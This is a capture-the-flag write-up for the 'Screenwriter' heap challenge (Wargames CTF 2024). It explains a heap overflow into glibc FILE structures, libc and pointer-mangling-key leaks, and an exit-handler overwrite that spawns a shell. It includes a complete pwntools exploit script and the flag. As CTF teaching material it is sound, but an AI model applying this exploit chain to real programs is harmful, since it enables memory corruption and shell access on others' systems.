Screenwriter

This is a medium binary exploitation challenge from the Wargames CTF 2024. It involves the usage of a heap overflow to exploit file structures, granting an arbitrary read and write primitive which was used to overwrite the exit handlers.

Screenwriter

Starting off this challenge, we’ll check out what we’re working with and then get some decompilation going.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
anthonyjs@frosty:~/screenwriter$ file chall && checksec --file chall && strings libc.so.6 | grep GNU

chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, BuildID[sha1]=1d8800e6e15efea52b368e3320ac5cdd86834eae, for GNU/Linux 3.2.0, not stripped

[*] 'home/anthonyjs/screenwriter/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'./'
SHSTK: Enabled
IBT: Enabled
Stripped: No

GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
Compiled by GNU CC version 11.2.0.

All protections besides PIE are enabled. We are also working with libc 2.35 so we know that the common targets within this libc are things such as exit handlers and file structures. Let’s get reversing…

Reverse Engineering

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int choice; // eax
void *buf; // [rsp+8h] [rbp-128h]
FILE *stream; // [rsp+10h] [rbp-120h]
FILE *s; // [rsp+18h] [rbp-118h]
__int64 ptr; // [rsp+20h] [rbp-110h] BYREF
__int64 v8; // [rsp+28h] [rbp-108h]
char v9[241]; // [rsp+30h] [rbp-100h] BYREF
unsigned __int64 v10; // [rsp+128h] [rbp-8h]

v10 = __readfsqword(0x28u);
init(argc, argv, envp);
buf = malloc(0x28uLL);
stream = fopen("bee-movie.txt", "r");
s = fopen("script.txt", "w");
puts("Welcome to our latest screenwriting program!");
while ( 1 )
{
while ( 1 )
{
menu();
choice = get_choice();
if ( choice != 3 )
break;
ptr = 0LL;
v8 = 0LL;
v9[0] = 0;
memset(&ptr, 0, 0x11uLL);
fread(&ptr, 1uLL, 0x10uLL, stream);
puts("From the reference:");
puts((const char *)&ptr);
}
if ( choice > 3 )
break;
if ( choice == 1 )
{
printf("What's your name: ");
read(0, buf, 0x280uLL);
}
else
{
if ( choice != 2 )
break;
ptr = 0LL;
v8 = 0LL;
memset(v9, 0, sizeof(v9));
printf("Your masterpiece: ");
read(0, &ptr, 0x100uLL);
fwrite(&ptr, 1uLL, 0x100uLL, s);
}
}
printf("Goodbye %s", (const char *)buf);
exit(0);
}

Here is the complete decompilation of the main function of this binary pulled from IDA. Couple of important things to pickout here. Let’s start with the heap overflow.

Here we can see a chunk of size 0x28 be allocated and used as “buff“.

1
buf = malloc(0x28uLL);

Now further down in the code we can see the program reading 0x280 bytes into said buffer..

1
read(0, buf, 0x280uLL);

Other than that, this could be a totally legit program. Something that you could see as a homework used in a computer science class at a university. Now this heap overflow because very useful to us for this reason:

1
2
3
buf = malloc(0x28uLL);
stream = fopen("bee-movie.txt", "r");
s = fopen("script.txt", "w");

Adjacent to our buffer chunk, we have these file structures. When you open a file with fopen, a file structure for said file is then placed onto the heap. So given that we have the ability to overwrite even a little bit (we can overwrite the entire thing) of the file structure, we can do some damage.

Let me do some file structure explanation before we move forward.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

Here is the metadata associated with the file structure in libc. Normally a popular target for file structure programming is to take advantage of the vtable pointer inside the structure and modify it to get a call into _IO_wdoallocbuf to get _IO_wfile_overflow to get called. This involves modify wide data and even creating some fake structures within the correct memory range. Luckily for us we don’t need to do something that complex.

We can abuse the file structures on the heap by doing some cool things. As you can see in the structure we have a tracker for reading:

1
2
3
char *_IO_read_ptr;	/* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */

Now if we were to overwrite the values here to pointers in memory that we want to read from, we totally could and we will!

We could even use the structure to write to arbitrary memory as well!

1
2
3
4
char *_IO_buf_base;	/* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
...
int _fileno;

Here is the metadata associated with that, and I included the _fileno which would even allow us to change the file descriptor that gets used. This will be important for later on when we want to write to memory, using this we can give the data we want to write from stdin.

Exploitation

So first step that we want to take is getting our arbitrary read primitive. For this I loaded the binary into gdb and sent in a cyclic pattern to find the distance on the heap from our input buffer to the beginning of the first file structure. Doing so, I found the offset to be 48 bytes.

From there, all I have to do is overwrite enough of the file structure to change the reading pointers to point to where I want to read. And given that PIE is disabled, I chose to read libc addresses from the GOT:

1
2
3
4
5
6
7
8
9
10
11
def leak(addr, pad=0):
payload = b'A'*struct_one
payload += p64(0x00000000fbad2488)
payload += p64(addr) + p64(addr+0x50) + p64(addr)
p.sendlineafter(b'Choice:', b'1')
p.sendlineafter(b'name:', payload)
p.sendlineafter(b'Choice:', b'3')

p.recvuntil(b'From the reference:\n')
leak = u64(p.recv(8-pad) + b'\x00'*pad)
return leak

In this chunk above, we are writing up to the first file structure, writing the correct flags that will allow us to read and more, then inputting the address we want to read, offseting the end pointer by an arbitrary amount of bytes (here I chose 0x50), then putting the current ptr at the address.

This makes it so that when we use the read call, it will then print out bytes from that address. The padding ability I added here was due to sometimes we are leaking something that is 6 bytes without null bytes or 8 bytes without null bytes. This padding feature allows us to use this leaking function for both.

Now we are halfway there, we can leak things. I intended to attack the exit handlers when I got up to this part of the challenges, so I walked through the handle_exit_funcs function to see what functions were lined up, and after the exit handler pointer inside of the libc memory space was demangled, it was discovered that the function that was being called resides in the linkers memory space.

To be able to bypass the checks needed to overwrite a exit handler, we need to mangle the function pointer we want to right with the correct key that the program uses. The easy way I found to leak this key is to leak an already mangled pointer, the pointer unmangled, and do the calculations from there to find the key.

Knowing that, we will need to leak libc memory base, the mangled pointer, and linker memory base:

1
2
3
4
5
6
7
8
9
10
11
12
13
# rebase libc
puts = leak(elf.got['puts'], 2)
libc.address = puts - libc.sym['puts']
log.info(hex(libc.address))

# leak the exit handler stuff (it leaks a pointer mangled that is a ld ptr)
handler_target = libc.address + 0x21af18
handler_leak = leak(handler_target)
log.info(hex(handler_leak))

# leaking ld
linker_leak = leak(libc.address + 0x219178, 2) - 0x17dd0
log.info(hex(linker_leak))

After doing so we can now calculate that mangling key. I’m going to include some assembly that shows exactly how a exit handler pointer gets demangled:

1
2
0x0000000000039fc1 <+177>: ror    rdx,0x11
0x0000000000039fc5 <+181>: xor rdx,QWORD PTR fs:0x30

Note that this is not from this exact binary but is the same calculations done. I pulled this from here for ease of access.

So to calculate that mangling key it comes down to ror the leaked address by 0x11 then xoring that with the unmangled address pointer:

1
2
3
4
# calculate mangle key
leaked_value = linker_leak + 0x6040
key = ror_64(handler_leak, 0x11)^(leaked_value)
log.info(hex(key))

So awesome. From there we can simply just write the address of the function we want to execute into the exit handlers memory space. And typically this will want to be system. To achieve the write we will use pwntools handy file structure exploitation tools:

1
2
3
4
5
6
# use file structure to write to exit handler
fp = FileStructure()
payload = b'A'*struct_one
payload += fp.read(handler_target, 0x20) + p64(0)*2
p.sendlineafter(b'Choice:', b'1')
p.sendlineafter(b'name:', payload)

Now you might be questioning what this is doing. Again we are overwriting the file structure, but under the hood, this fp.read() call does something very simple. I will show you exactly what it does. Say we wanted to read from address 0xdeadbeef. We call fp.read(0xdeadbeef, 0x20):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
{ 
flags: 0x0
_IO_read_ptr: 0x0
_IO_read_end: 0x0
_IO_read_base: 0x0
_IO_write_base: 0x0
_IO_write_ptr: 0x0
_IO_write_end: 0x0
_IO_buf_base: 0xdeadbeef
_IO_buf_end: 0xdeadbf0f
_IO_save_base: 0x0
_IO_backup_base: 0x0
_IO_save_end: 0x0
markers: 0x0
chain: 0x0
fileno: 0x0
_flags2: 0x0
_old_offset: 0xffffffff
_cur_column: 0x0
_vtable_offset: 0x0
_shortbuf: 0x0
unknown1: 0x0
_lock: 0x0
_offset: 0xffffffffffffffff
_codecvt: 0x0
_wide_data: 0x0
unknown2: 0x0
vtable: 0x0
}

Here you can see that this is the entirety of the file structure. We see that the _IO_buf_base and _IO_buf_end were set to 0xdeadbeef and 0xdeadbf0f(base+0x20) respectively. We can also notice that fileno was set to 0x0, indicating that the file descriptor to read from will be stdin. This permits us to trigger a read from stdin to that given address for the given amount of bytes.

So given that ability, we will first mangle the pointer we want to write, then write it to the exit handlers. And luckily for us the following address in memory actually turns out to be stored into the register rdi at the time the handler is called. This means we have the ability to call a function AND control rdi. This easily lets us call system('/bin/sh'):

1
2
3
4
5
# writing system with /bin/sh to exit handler
payload = p64(rol_64((libc.sym['system'] ^ key),0x11))
payload += p64(next(libc.search(b'/bin/sh\x00')))
p.sendlineafter(b'Choice:', b'3')
p.sendline(payload)

Note that the rdi value did NOT need to be mangled.

After submiting the overwrite, the next thing to do is call exit() and boom we have an interactive shell!

Full Exploit Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *

bin = "./chall"
elf = context.binary = ELF(bin)
libc = elf.libc
p = process(bin)
#gdb.attach(p, 'b exit\n')

struct_one = 48

def leak(addr, pad=0):
payload = b'A'*struct_one
payload += p64(0x00000000fbad2488)
payload += p64(addr) + p64(addr+0x50) + p64(addr)
p.sendlineafter(b'Choice:', b'1')
p.sendlineafter(b'name:', payload)
p.sendlineafter(b'Choice:', b'3')

p.recvuntil(b'From the reference:\n')
leak = u64(p.recv(8-pad) + b'\x00'*pad)
return leak

def ror_64(value, shift):
shift %= 64
return ((value >> shift) | (value << (64 - shift))) & 0xFFFFFFFFFFFFFFFF

def rol_64(value, shift):
shift %= 64
return ((value << shift) | (value >> (64 - shift))) & 0xFFFFFFFFFFFFFFFF


# warm the structs
p.sendlineafter(b'Choice:', b'3')
p.sendlineafter(b'Choice:', b'2')
p.sendlineafter(b'masterpiece:', b'A')

# rebase libc
puts = leak(elf.got['puts'], 2)
libc.address = puts - libc.sym['puts']
log.info(hex(libc.address))

# leak the exit handler stuff (it leaks a pointer mangled that is a ld ptr)
handler_target = libc.address + 0x21af18
handler_leak = leak(handler_target)
log.info(hex(handler_leak))

# leaking ld
linker_leak = leak(libc.address + 0x219178, 2) - 0x17dd0
log.info(hex(linker_leak))

# calculate mangle key
leaked_value = linker_leak + 0x6040
key = ror_64(handler_leak, 0x11)^(leaked_value)
log.info(hex(key))

# use file structure to write to exit handler
fp = FileStructure()
payload = b'A'*struct_one
payload += fp.read(handler_target, 0x20) + p64(0)*2
p.sendlineafter(b'Choice:', b'1')
p.sendlineafter(b'name:', payload)

# writing system with /bin/sh to exit handler
payload = p64(rol_64((libc.sym['system'] ^ key),0x11))
payload += p64(next(libc.search(b'/bin/sh\x00')))
p.sendlineafter(b'Choice:', b'3')
p.sendline(payload)

p.interactive()
#wgmy{2c2e996f00d41a8eb2d3016b6447aee9}